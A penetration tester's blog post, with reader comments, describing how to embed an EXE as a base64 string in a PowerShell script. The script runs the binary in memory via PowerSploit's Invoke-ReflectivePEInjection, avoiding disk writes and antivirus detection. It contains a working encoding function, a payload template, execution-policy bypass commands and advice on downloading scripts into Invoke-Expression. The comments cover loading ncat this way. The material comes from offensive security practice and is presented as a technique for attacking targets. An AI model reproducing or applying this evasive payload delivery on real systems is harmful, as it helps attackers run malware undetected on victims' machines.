Embedding EXE files into PowerShell scripts

As sometimes happens, when you solve a particular problem, you realize that the solution can be generalized to cover more scenarios than the one you had in mind. This is one of those stories.

I was trying to resolve an issue with creating a pure PowerShell payload as part of a client-side attack. Using PowerShell to run malicious code has many advantages, including:

  • No need to install anything on the target.
  • Very powerful engine underneath (e.g. you can directly invoke .NET code).
  • You can use base64-encoded commands to obfuscate your evil commands, making the attack a little less obvious to spot. This is also a way to avoid escaping all the special characters, especially in advanced attacks involving several steps to deliver the payload.
  • You can use Invoke-Expression to interpret strings as PowerShell commands. From a penetration tester’s perspective, this is very useful to avoid writing complex scripts on disk. For example, you can use PowerShell to download an additional (complex) script, and pipe it directly to Invoke-Expression, which will interpret and execute the downloaded script in memory, within the PowerShell process. This also avoid antivirus detection.

The payload I wanted to run on the target included fairly complex functionalities. I had those functionalities as part of an EXE file. I didn’t want to drop the binary on the target system since it could potentially trigger an antivirus. I wanted to use PowerShell, but I didn’t want to rewrite the whole thing in PowerShell.

So I came up with a solution.

The objective is to embed a binary into a PowerShell script, and run it from within the script without writing it on disk.

This is how the solution works:

1. Take your binary file and base64-encode it

You can use the following function:

function Convert-BinaryToString {

   [CmdletBinding()] param (

      [string] $FilePath

   )

   try {

      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);

   }

   catch {

      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";

   }

   if ($ByteArray) {

      $Base64String = [System.Convert]::ToBase64String($ByteArray);

   }

   else {

      throw '$ByteArray is $null.';

   }

   Write-Output -InputObject $Base64String;

}

2. Create a new script with the following:

  • The EXE converted to string created in point 1
  • The function Invoke-ReflectivePEInjection (part of the Powersploit project)
  • Convert the string to byte array
  • Call Invoke-ReflectivePEInjection

So basically your binary is just a string in the PowerShell script. Once decoded as a byte array, the function Invoke-ReflectivePEInjection (part of the Powersploit project) will run it in memory within the PowerShell process.

The final payload will look something like this:

# Your base64 encoded binary

$InputString = '...........'

function Invoke-ReflectivePEInjection

{

   ......
   ......
   ......

}

# Convert base64 string to byte array

$PEBytes = [System.Convert]::FromBase64String($InputString)

# Run EXE in memory

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

You can now run the script on the target like this:

powershell -ExecutionPolicy Bypass -File payload.ps1

Depending on the binary you embedded, you might get the following error:

PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)

To fix the issue, simply run the 32 bit PowerShell:

%windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File payload.ps1

In the example below, I embedded plink.exe in payload.ps1

Capture - Copy

Pretty cool, uh?

Fabio Viggiani is the technical lead of penetration testing at the security power house TrueSec. Fabio has a broad experience from penetration tests of banks, agencies and all sorts of enterprise customers around the globe. His main focus is conducting and leading advanced penetration tests simulating APT's (Advanced Persistent Threats). Fabio has a unique capability when it comes to getting an overview of an entire target environment and identify its vulnerabilities down to every detail. He also holds hands-on classes on professional penetration testing, web hacking and secure web development, and he frequently speaks at conferences and seminars.

Posted in Hacking
4 comments on “Embedding EXE files into PowerShell scripts
  1. Jon says:

    Awesome example and first clear one I have seen. For section 2 line 7 – 13 do you just paste all of this https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1

    Like

  2. madmantm says:

    Hello, i got a question, were you able to pass arguments to the PE executable file you loaded with the Invoke-ReflectivePEInjection, i’m trying with a basic ncat executable, but i’m unable to pass it arguments.

    Thanks for any help you can give.

    Like

    • Fabio Viggiani says:

      Yes, you need to modify the call to Invoke-ReflectivePEInjection.
      For example, to pass the argument “-V” you would call it like this:
      Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs “-V”

      Liked by 1 person

Leave a comment

Categories